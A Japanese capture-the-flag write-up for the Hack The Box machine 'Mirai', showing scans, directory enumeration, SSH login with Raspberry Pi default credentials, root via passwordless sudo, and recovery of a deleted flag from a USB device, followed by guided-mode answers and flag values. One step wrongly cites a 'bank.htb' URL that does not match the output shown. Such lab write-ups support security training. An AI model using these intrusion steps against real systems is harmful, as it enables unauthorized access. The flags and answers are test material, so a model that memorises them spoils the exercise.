本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Mirai」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) Webアクセスできるファイル/ディレクトリ調査
(3) Webサイトへのアクセス
(4) Pi-holeの認証情報取得
(5) piユーザーでSSHログイン
(6) 【補足】Pi-holeのWebサイトのパスワードリセットによるログイン
(7) 特権昇格(sudo設定の脆弱性)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)などポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.48
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 00:32 JST
Nmap scan report for 10.10.10.48
Host is up (0.36s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
1688/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open http Plex Media Server httpd
|_http-title: Unauthorized
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-favicon: Plex
32469/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 228.11 ms 10.10.16.1
2 407.02 ms 10.10.10.48
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.98 secondsWebアクセスできるファイル/ディレクトリ調査
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ feroxbuster -u http://10.10.10.48/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200 GET 1l 1w 18c http://10.10.10.48/versions
200 GET 145l 2311w 14164c http://10.10.10.48/admin/LICENSE
ーーー(省略)ーーー

(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる内容がない。
$ gobuster dir -u http://10.10.10.48 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Mirai_80.txt
ーーー(省略)ーーー
/admin (Status: 301) [Size: 0] [--> http://10.10.10.48/admin/]
/versions (Status: 200) [Size: 13]
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容がない。
$ sudo dirsearch -u http://10.10.10.48
ーーー(省略)ーーー
[07:26:13] Starting:
[07:26:39] 301 - 0B - /admin -> http://10.10.10.48/admin/
[07:27:28] 500 - 369B - /adminarea/
[07:27:28] 500 - 369B - /adminarea/admin.aspx
[07:27:28] 500 - 369B - /adminarea/login.php
[07:27:28] 500 - 369B - /adminarea/admin.jsp
ーーー(省略)ーーー
(4) ffufを用いてアクセスできるURLを確認すると、「http://bank.htb/balance-transfer」があることが分かる。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://10.10.10.48/FUZZ" -ic
ーーー(省略)ーーー
admin [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 208ms]
versions [Status: 200, Size: 13, Words: 1, Lines: 1, Duration: 206ms]
:: Progress: [220546/220546] :: Job [1/1] :: 147 req/sec :: Duration: [0:21:10] :: Errors: 0 ::
ーーー(省略)ーーー
Webサイトへのアクセス
(1) ブラウザを用いて「http://10.10.10.48」にアクセスすると、空白のWebページが表示される。
(2) Burp Suiteでレスポンスデータを確認すると、X-Pi-holeというヘッダーがあることが分かる。
【レスポンスデータ】
HTTP/1.1 404 Not Found
X-Pi-hole: A black hole for Internet advertisements.
Content-type: text/html; charset=UTF-8
Content-Length: 0
Date: Mon, 25 Aug 2025 12:09:21 GMT
Server: lighttpd/1.4.35
(3) 「http://10.10.10.48/admin/LICENSE」の内容を確認すると、Pi-holeが動作していることが分かる。
【http://10.10.10.48/admin/LICENSEの内容(一部抜粋)】
Copyright (C) 2017 Pi-hole, LLC (https://pi-hole.net)
Pi-hole web interface
This software is licensed under the European Union Public License (EUPL)
The license is available in the 22 official languages of the EU. The English version is included here.
Please see https://joinup.ec.europa.eu/community/eupl/og_page/eupl for official translations of the other languages.
This license applies to the whole project EXCEPT the files located under
- styles/vendor, and
- scripts/vendor
whose licenses are located therein.Pi-holeの認証情報取得
(1) ブラウザを用いて「http://10.10.10.48/admin」にアクセスすると、Pi-holeのWebサイトが表示される。
(2) 左部の「Login」をクリックすると、ログイン画面が表示される。
(3) 任意のパスワードを入力してログイン試行すると、エラーとなりログインできない。また、パスワードを忘れた場合は「pihole -a -p」コマンドを実行してパスワードを再設定する必要がある旨の記載がある。
(4) 「Pi hole default password」でGoogle検索すると、デフォルトでは「ユーザー名:pi」と「パスワード:raspberry」であることが分かる。
piユーザーでSSHログイン
(1) piユーザーでSSHログインすると、ログインに成功する。
$ ssh pi@10.10.10.48
→パスワード(raspberry)を入力する。
(2) 現在ログインしているユーザー情報を確認すると、piユーザーであることが分かる。
$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),117(i2c),998(gpio),999(spi)
$ whoami
pi
(3) 一般ユーザー用のフラグファイルの内容を確認する。
$ cat /home/pi/Desktop/user.txt
ff837707441b257a20e32199d7c8838d【補足】Pi-holeのWebサイトのパスワードリセットによるログイン
(1) Pi-holeのWebサイトのパスワードを再設定する。
$ pihole -a -p
→任意のパスワードを入力する。
(2) Pi-holeのバージョンを確認すると3.1.4であることが分かる。
$ pihole -v
Pi-hole version is v3.1.4 (Latest: ERROR)
AdminLTE version is v3.1 (Latest: ERROR)
FTL version is v2.10 (Latest: ERROR)
(3) Pi-holeのログイン画面で再設定したパスワードを入力して、ログインする。。
(4) ログインに成功しダッシュボード画面が表示される。
特権昇格(sudo設定の脆弱性)
(1) sudoコマンドを設定を確認すると、パスワードなしで全てのコマンドをroot権限で実行できることが分かる。
$ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
(2) root権限に特権昇格する。
$ sudo /bin/bash -p
→root権限のプロンプト(#)が表示される。
(3) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
(4) 特権ユーザー用のフラグファイル(root.txt)と思われるファイルを開くと、root.txtのバックアップがUSBメモリにある旨が記載されている。
# find / -name "root.txt"
/lib/live/mount/persistence/sda2/root/root.txt
/root/root.txt
root@raspberrypi:/home/pi/Desktop# cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
root@raspberrypi:/home/pi/Desktop# cat /lib/live/mount/persistence/sda2/root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
(5) マウントされているデバイスを確認する。
# df -h
Filesystem Size Used Avail Use% Mounted on
aufs 8.5G 2.8G 5.3G 35% /
tmpfs 100M 4.8M 96M 5% /run
/dev/sda1 1.3G 1.3G 0 100% /lib/live/mount/persistence/sda1
/dev/loop0 1.3G 1.3G 0 100% /lib/live/mount/rootfs/filesystem.squashfs
tmpfs 250M 0 250M 0% /lib/live/mount/overlay
/dev/sda2 8.5G 2.8G 5.3G 35% /lib/live/mount/persistence/sda2
devtmpfs 10M 0 10M 0% /dev
tmpfs 250M 8.0K 250M 1% /dev/shm
tmpfs 5.0M 4.0K 5.0M 1% /run/lock
tmpfs 250M 0 250M 0% /sys/fs/cgroup
tmpfs 250M 8.0K 250M 1% /tmp
/dev/sdb 8.7M 93K 7.9M 2% /media/usbstick
tmpfs 50M 0 50M 0% /run/user/999
tmpfs 50M 0 50M 0% /run/user/1000
(6) USBメモリ内のデータを確認すると、特権ユーザー用のフラグの文字列が表示される。
# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James[補足] Guided ModeのQA
・Task 1
問題(英語訳):What is the name of the service running on TCP port 53 on Mirai? Don't include a version number.
問題(日本語訳):MiraiのTCPポート53で実行されているサービスの名前は何ですか?ポート80でサービスにアクセスした際のレスポンスに含まれる、通常とは異なるHTTPヘッダーは何ですか?バージョン番号は含めないでください。
答え:dnsmasq
・Task 2
問題(英語訳):What unusual HTTP header is included in the response when visiting the service on port 80?
問題(日本語訳):ポート 80 でサービスにアクセスしたとき、応答にはどのような異常な HTTP ヘッダーが含まれますか?
答え:X-Pi-hole
・Task 3
問題(英語訳):What relative path on the webserver presents the Pi-hole dashboard?
問題(日本語訳):Pi-hole ダッシュボードを表示する Web サーバー上の相対パスは何ですか?
答え:/admin
・Task 4
問題(英語訳):What was the default username on a Raspberry Pi device?
問題(日本語訳):Raspberry Pi デバイスのデフォルトのユーザー名は何でしたか?
答え:pi
・Task 5
問題(英語訳):What is the default password for the pi user?
問題(日本語訳):pi ユーザーのデフォルトのパスワードは何ですか?
答え:raspberry
・Submit User Flag
問題(英語訳):Submit the flag located on the pi user's desktop.
問題(日本語訳):pi ユーザーのデスクトップにあるフラグを送信します。
答え:ff837707441b257a20e32199d7c8838d
※「/home/pi/Desktop/user.txt」の内容。
・Task 7
問題(英語訳):Can the pi user run any command as root on Mirai?
問題(日本語訳):pi ユーザーは Mirai 上で root として任意のコマンドを実行できますか?
答え:yes
・Task 8
問題(英語訳):The flag-less root.txt file mentions that it's on the USB stick. What is the mountpoint for a device that is labeled as a USB stick on this host?
問題(日本語訳):フラグなしの root.txt ファイルには、USB スティック上にあると記載されています。このホストで USB スティックとしてラベル付けされているデバイスのマウントポイントは何ですか?
答え:/media/usbstick
・Task 9
問題(英語訳):What is the full path to the device that represents the raw USB media on Mirai?
問題(日本語訳):Mirai 上の生の USB メディアを表すデバイスへのフル パスは何ですか?
答え:/dev/sdb
・Task 10
問題(英語訳):When files are deleted from a drive, is the memory definitely immediately overwritten with something else?
問題(日本語訳):ドライブからファイルを削除すると、メモリは必ずすぐに別のもので上書きされるのでしょうか?
答え:no
・Submit Root Flag
問題(英語訳):Submit the flag located on the USB device.
問題(日本語訳):USB デバイスにあるフラグを送信します。
答え:3d3e483143ff12ec505d026fa13e020b
※「/dev/sdb」の内容。
関連記事(Hack The Box)
※後日作成予定。

